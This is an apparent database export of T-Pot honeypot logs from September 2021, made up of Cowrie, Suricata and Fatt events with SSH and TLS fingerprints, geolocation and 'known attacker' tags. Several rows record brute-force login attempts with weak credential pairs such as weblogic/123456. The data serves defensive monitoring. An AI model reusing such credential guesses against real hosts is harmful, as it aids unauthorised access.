"@timestamp": "2021-09-20T12:02:40.012Z", "event_type": "dns", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	dns	\N	BG
34609	192.168.20.116	109.199.241.180	Fatt	2021-09-20 15:02:40.070468+03	2021-09-20 15:15:02.117664+03	{"_id": "wwYWA3wBvYTbRNuEOlb4", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "160.44.201.156", "@version": "1", "fatt_tls": {"ja3": "f0a8f03cd88db5395e12077d3e4aa1fc", "ja3Ec": "29-23-30-25-24", "ja3EcFmt": "0-1-2", "ja3Ciphers": "4866-4867-4865-49196-49200-49195-49199-52393-52392-159-158-52394-49327-49325-49326-49324-49188-49192-49187-49191-49162-49172-49161-49171-49315-49311-49314-49310-107-103-57-51-157-156-49313-49309-49312-49308-61-60-53-47-255", "ja3Version": "771", "serverName": "community.sicherheitstacho.eu", "ja3Algorithms": "771,4866-4867-4865-49196-49200-49195-49199-52393-52392-159-158-52394-49327-49325-49326-49324-49188-49192-49187-49191-49162-49172-49161-49171-49315-49311-49314-49310-107-103-57-51-157-156-49313-49309-49312-49308-61-60-53-47-255,0-11-10-35-22-23-13-43-45-51,29-23-30-25-24,0-1-2", "ja3Extensions": "0-11-10-35-22-23-13-43-45-51"}, "protocol": "tls", "src_port": 35998, "dest_port": 443, "timestamp": "2021-09-20T12:02:40.070468", "@timestamp": "2021-09-20T12:02:40.070Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	tls	\N	\N	\N	\N
34610	192.168.20.116	109.199.241.180	Suricata	2021-09-20 15:02:40.011021+03	2021-09-20 15:15:02.119665+03	{"_id": "wAYWA3wBvYTbRNuEOVbu", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"dns": {"id": 50730, "type": "query", "tx_id": 0, "rrname": "community.sicherheitstacho.eu", "rrtype": "A"}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "geoip": {}, "proto": "UDP", "src_ip": "192.168.20.116", "dest_ip": "195.24.88.8", "flow_id": 1433591236012813, "@version": "1", "in_iface": "enp5s0", "src_port": 44441, "dest_port": 53, "timestamp": "2021-09-20T12:02:40.011021Z", "@timestamp": "2021-09-20T12:02:40.011Z", "event_type": "dns", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	dns	\N	\N
34611	160.44.201.156	109.199.241.180	Fatt	2021-09-20 15:02:40.11284+03	2021-09-20 15:15:02.120665+03	{"_id": "wgYWA3wBvYTbRNuEOlb4", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "160.44.201.156", "asn": 34086, "as_org": "T-Systems International GmbH", "latitude": 51.2993, "location": {"lat": 51.2993, "lon": 9.491}, "timezone": "Europe/Berlin", "longitude": 9.491, "country_name": "Germany", "country_code2": "DE", "country_code3": "DE", "continent_code": "EU"}, "src_ip": "160.44.201.156", "dest_ip": "192.168.20.116", "@version": "1", "fatt_tls": {"ja3s": "ec74a5c51106f0419184d0dd08fb05bc", "ja3sCiphers": "49200", "ja3sVersion": "771", "ja3sAlgorithms": "771,49200,65281-11-35-23", "ja3sExtensions": "65281-11-35-23"}, "protocol": "tls", "src_port": 443, "dest_port": 35998, "timestamp": "2021-09-20T12:02:40.112840", "@timestamp": "2021-09-20T12:02:40.112Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	tls	\N	\N	\N	DE
34612	119.29.153.168	109.199.241.180	Cowrie	2021-09-20 15:02:32.524322+03	2021-09-20 15:15:02.121664+03	{"_id": "uwYWA3wBvYTbRNuEHVZ2", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc"], "geoip": {"ip": "119.29.153.168", "asn": 45090, "as_org": "Shenzhen Tencent Computer Systems Company Limited", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "hassh": "f555226df1963d1d3c09daf865abdc9a", "macCS": ["hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1"], "compCS": ["none"], "ip_rep": "known attacker", "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "119.29.153.168", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "ecdh-sha2-nistp256", "ecdh-sha2-nistp384", "ecdh-sha2-nistp521", "diffie-hellman-group18-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group14-sha256", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "rsa-sha2-512", "rsa-sha2-256", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a", "session": "a59942c6a971", "@version": "1", "timestamp": "2021-09-20T12:02:32.524322Z", "@timestamp": "2021-09-20T12:02:32.524Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}}	1	\N	cowrie.client.kex	\N	known attacker	CN
34613	119.29.153.168	109.199.241.180	Cowrie	2021-09-20 15:02:33.735562+03	2021-09-20 15:15:02.123665+03	{"_id": "vAYWA3wBvYTbRNuEIVZe", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "119.29.153.168", "asn": 45090, "as_org": "Shenzhen Tencent Computer Systems Company Limited", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "119.29.153.168", "eventid": "cowrie.login.failed", "message": "login attempt [lh/lh123] failed", "session": "a59942c6a971", "@version": "1", "password": "lh123", "username": "lh", "timestamp": "2021-09-20T12:02:33.735562Z", "@timestamp": "2021-09-20T12:02:33.735Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	CN
34614	119.29.153.168	109.199.241.180	Cowrie	2021-09-20 15:02:35.021627+03	2021-09-20 15:15:02.124664+03	{"_id": "vQYWA3wBvYTbRNuEJVZH", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "119.29.153.168", "asn": 45090, "as_org": "Shenzhen Tencent Computer Systems Company Limited", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "119.29.153.168", "eventid": "cowrie.session.closed", "message": "Connection lost after 2 seconds", "session": "a59942c6a971", "@version": "1", "duration": 2.778326988220215, "timestamp": "2021-09-20T12:02:35.021627Z", "@timestamp": "2021-09-20T12:02:35.021Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	known attacker	CN
34615	157.245.53.4	109.199.241.180	Cowrie	2021-09-20 15:02:50.415744+03	2021-09-20 15:15:02.125665+03	{"_id": "5gYWA3wBvYTbRNuEY1bP", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "tags": ["_geoip_lookup_failure"], "type": "Cowrie", "geoip": {"ip": "157.245.53.4", "latitude": 37.751, "location": {"lat": 37.751, "lon": -97.822}, "timezone": "America/Chicago", "longitude": -97.822, "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "sensor": "b63cdd9641b8", "src_ip": "157.245.53.4", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 157.245.53.4:42172 (192.168.176.2:22) [session: 77957ea013f0]", "session": "77957ea013f0", "@version": "1", "protocol": "ssh", "src_port": 42172, "dest_port": 22, "timestamp": "2021-09-20T12:02:50.415744Z", "@timestamp": "2021-09-20T12:02:50.415Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	\N	US
34616	157.245.53.4	109.199.241.180	Cowrie	2021-09-20 15:02:51.407123+03	2021-09-20 15:15:02.126666+03	{"_id": "5wYWA3wBvYTbRNuEZ1a3", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "tags": ["_geoip_lookup_failure"], "type": "Cowrie", "geoip": {"ip": "157.245.53.4", "latitude": 37.751, "location": {"lat": 37.751, "lon": -97.822}, "timezone": "America/Chicago", "longitude": -97.822, "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "sensor": "b63cdd9641b8", "src_ip": "157.245.53.4", "eventid": "cowrie.login.failed", "message": "login attempt [weblogic/123456] failed", "session": "77957ea013f0", "@version": "1", "password": "123456", "username": "weblogic", "timestamp": "2021-09-20T12:02:51.407123Z", "@timestamp": "2021-09-20T12:02:51.407Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	\N	US
34617	5.188.62.219	109.199.241.180	Cowrie	2021-09-20 15:03:03.158606+03	2021-09-20 15:15:02.127664+03	{"_id": "FwYWA3wBvYTbRNuEkle1", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "5.188.62.219", "asn": 44050, "as_org": "Petersburg Internet Network ltd.", "latitude": 55.7386, "location": {"lat": 55.7386, "lon": 37.6068}, "timezone": "Europe/Moscow", "longitude": 37.6068, "country_name": "Russia", "country_code2": "RU", "country_code3": "RU", "continent_code": "EU"}, "sensor": "b63cdd9641b8", "src_ip": "5.188.62.219", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-Go'", "session": "46d89f64aa51", "version": "b'SSH-2.0-Go'", "@version": "1", "timestamp": "2021-09-20T12:03:03.158606Z", "@timestamp": "2021-09-20T12:03:03.158Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	\N	RU
34618	5.188.62.219	109.199.241.180	Suricata	2021-09-20 15:03:03.219127+03	2021-09-20 15:15:02.129665+03	{"_id": "GgYWA3wBvYTbRNuEk1fS", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "Go"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "flow": {"start": "2021-09-20T12:03:03.094971+0000", "pkts_toclient": 3, "pkts_toserver": 5, "bytes_toclient": 821, "bytes_toserver": 1310}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 8, "action": "allowed", "category": "Misc activity", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 3, "signature": "ET POLICY SSH session in progress on Expected Port", "signature_id": 2001978}, "geoip": {"ip": "5.188.62.219", "asn": 44050, "as_org": "Petersburg Internet Network ltd.", "latitude": 55.7386, "location": {"lat": 55.7386, "lon": 37.6068}, "timezone": "Europe/Moscow", "longitude": 37.6068, "country_name": "Russia", "country_code2": "RU", "country_code3": "RU", "continent_code": "EU"}, "proto": "TCP", "src_ip": "5.188.62.219", "stream": 0, "dest_ip": "192.168.20.116", "flow_id": 1701096833118971, "payload": "AAADvA4U8l9FaqrzpHPHI1VTNXHc4wAAAIxjdXJ2ZTI1NTE5LXNoYTI1NkBsaWJzc2gub3JnLGVjZGgtc2hhMi1uaXN0cDI1NixlY2RoLXNoYTItbmlzdHAzODQsZWNkaC1zaGEyLW5pc3RwNTIxLGRpZmZpZS1oZWxsbWFuLWdyb3VwMTQtc2hhMSxkaWZmaWUtaGVsbG1hbi1ncm91cDEtc2hhMQAAAS1zc2gtcnNhLWNlcnQtdjAxQG9wZW5zc2guY29tLHNzaC1kc3MtY2VydC12MDFAb3BlbnNzaC5jb20sZWNkc2Etc2hhMi1uaXN0cDI1Ni1jZXJ0LXYwMUBvcGVuc3NoLmNvbSxlY2RzYS1zaGEyLW5pc3RwMzg0LWNlcnQtdjAxQG9wZW5zc2guY29tLGVjZHNhLXNoYTItbmlzdHA1MjEtY2VydC12MDFAb3BlbnNzaC5jb20sc3NoLWVkMjU1MTktY2VydC12MDFAb3BlbnNzaC5jb20sZWNkc2Etc2hhMi1uaXN0cDI1NixlY2RzYS1zaGEyLW5pc3RwMzg0LGVjZHNhLXNoYTItbmlzdHA1MjEsc3NoLXJzYSxzc2gtZHNzLHNzaC1lZDI1NTE5AAAAh2FlczEyOC1nY21Ab3BlbnNzaC5jb20sY2hhY2hhMjAtcG9seTEzMDVAb3BlbnNzaC5jb20sYWVzMTI4LWN0cixhZXMxOTItY3RyLGFlczI1Ni1jdHIsYWVzMTI4LWNiYywzZGVzLWNiYyxhcmNmb3VyLGFyY2ZvdXIxMjgsYXJjZm91cjI1NgAAAIdhZXMxMjgtZ2NtQG9wZW5zc2guY29tLGNoYWNoYTIwLXBvbHkxMzA1QG9wZW5zc2guY29tLGFlczEyOC1jdHIsYWVzMTkyLWN0cixhZXMyNTYtY3RyLGFlczEyOC1jYmMsM2Rlcy1jYmMsYXJjZm91cixhcmNmb3VyMTI4LGFyY2ZvdXIyNTYAAABQaG1hYy1zaGEyLTI1Ni1ldG1Ab3BlbnNzaC5jb20saG1hYy1zaGEyLTUxMixobWFjLXNoYTItMjU2LGhtYWMtc2hhMSxobWFjLXNoYTEtOTYAAABQaG1hYy1zaGEyLTI1Ni1ldG1Ab3BlbnNzaC5jb20saG1hYy1zaGEyLTUxMixobWFjLXNoYTItMjU2LGhtYWMtc2hhMSxobWFjLXNoYTEtOTYAAAAEbm9uZQAAAARub25lAAAAAAAAAAAAAAAAAPhsPkSXBNQb1NfAVQbK", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 46024, "app_proto": "ssh", "dest_port": 22, "timestamp": "2021-09-20T12:03:03.219127Z", "@timestamp": "2021-09-20T12:03:03.219Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "......._Ej...s.#US5q......curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1...-ssh-rsa-cert-v01@openssh.com,ssh-dss-cert-v01@openssh.com,ecdsa-sha2-nistp256-cert-v01@openssh.com,ecdsa-sha2-nistp384-cert-v01@openssh.com,ecdsa-sha2-nistp521-cert-v01@openssh.com,ssh-ed25519-cert-v01@openssh.com,ecdsa-sha2-nistp256,ecdsa-sha2-nistp384,ecdsa-sha2-nistp521,ssh-rsa,ssh-dss,ssh-ed25519....aes128-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc,arcfour,arcfour128,arcfour256....aes128-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc,arcfour,arcfour128,arcfour256...Phmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-256,hmac-sha1,hmac-sha1-96...Phmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-256,hmac-sha1,hmac-sha1-96....none....none..............l>D.......U.."}}	1	\N	\N	alert	\N	RU
34619	192.168.20.116	109.199.241.180	Fatt	2021-09-20 15:03:03.159774+03	2021-09-20 15:15:02.130664+03	{"_id": "HAYWA3wBvYTbRNuElFfd", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "5.188.62.219", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 46024, "timestamp": "2021-09-20T12:03:03.159774", "@timestamp": "2021-09-20T12:03:03.159Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
34620	120.36.157.98	109.199.241.180	Fatt	2021-09-20 15:03:04.673783+03	2021-09-20 15:15:02.131665+03	{"_id": "JgYWA3wBvYTbRNuEmFfG", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "120.36.157.98", "asn": 4134, "as_org": "Chinanet", "latitude": 24.4798, "location": {"lat": 24.4798, "lon": 118.0819}, "timezone": "Asia/Shanghai", "city_name": "Xiamen", "longitude": 118.0819, "region_code": "FJ", "region_name": "Fujian", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "src_ip": "120.36.157.98", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,rsa-sha2-512,rsa-sha2-256,ssh-rsa,ssh-dss", "hassh": "f555226df1963d1d3c09daf865abdc9a", "ccacts": "none", "ccastc": "none", "ceacts": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "ceastc": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "client": "SSH-2.0-libssh_0.9.6", "cmacts": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "cmastc": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}, "protocol": "ssh", "src_port": 38807, "dest_port": 22, "timestamp": "2021-09-20T12:03:04.673783", "@timestamp": "2021-09-20T12:03:04.673Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	known attacker	CN
34621	120.36.157.98	109.199.241.180	Cowrie	2021-09-20 15:03:04.674408+03	2021-09-20 15:15:02.133665+03	{"_id": "LQYWA3wBvYTbRNuEmleH", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc"], "geoip": {"ip": "120.36.157.98", "asn": 4134, "as_org": "Chinanet", "latitude": 24.4798, "location": {"lat": 24.4798, "lon": 118.0819}, "timezone": "Asia/Shanghai", "city_name": "Xiamen", "longitude": 118.0819, "region_code": "FJ", "region_name": "Fujian", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "hassh": "f555226df1963d1d3c09daf865abdc9a", "macCS": ["hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1"], "compCS": ["none"], "ip_rep": "known attacker", "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "120.36.157.98", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "ecdh-sha2-nistp256", "ecdh-sha2-nistp384", "ecdh-sha2-nistp521", "diffie-hellman-group18-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group14-sha256", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "rsa-sha2-512", "rsa-sha2-256", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a", "session": "e489385630c2", "@version": "1", "timestamp": "2021-09-20T12:03:04.674408Z", "@timestamp": "2021-09-20T12:03:04.674Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}}	1	\N	cowrie.client.kex	\N	known attacker	CN
34622	120.36.157.98	109.199.241.180	Suricata	2021-09-20 15:03:04.673426+03	2021-09-20 15:15:02.135668+03	{"_id": "LwYWA3wBvYTbRNuEm1ek", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh_0.9.6"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "120.36.157.98", "asn": 4134, "as_org": "Chinanet", "latitude": 24.4798, "location": {"lat": 24.4798, "lon": 118.0819}, "timezone": "Asia/Shanghai", "city_name": "Xiamen", "longitude": 118.0819, "region_code": "FJ", "region_name": "Fujian", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "120.36.157.98", "dest_ip": "192.168.20.116", "flow_id": 2240289174978635, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 38807, "dest_port": 22, "timestamp": "2021-09-20T12:03:04.673426Z", "@timestamp": "2021-09-20T12:03:04.673Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	known attacker	CN
34623	107.173.209.238	109.199.241.180	Cowrie	2021-09-20 15:03:16.083431+03	2021-09-20 15:15:02.136668+03	{"_id": "RwYWA3wBvYTbRNuExVeD", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "107.173.209.238", "asn": 36352, "as_org": "ColoCrossing", "dma_code": 514, "latitude": 42.8864, "location": {"lat": 42.8864, "lon": -78.8781}, "timezone": "America/New_York", "city_name": "Buffalo", "longitude": -78.8781, "postal_code": "14202", "region_code": "NY", "region_name": "New York", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "107.173.209.238", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-libssh_0.9.6'", "session": "7c7ea25b0bf0", "version": "b'SSH-2.0-libssh_0.9.6'", "@version": "1", "timestamp": "2021-09-20T12:03:16.083431Z", "@timestamp": "2021-09-20T12:03:16.083Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	known attacker	US
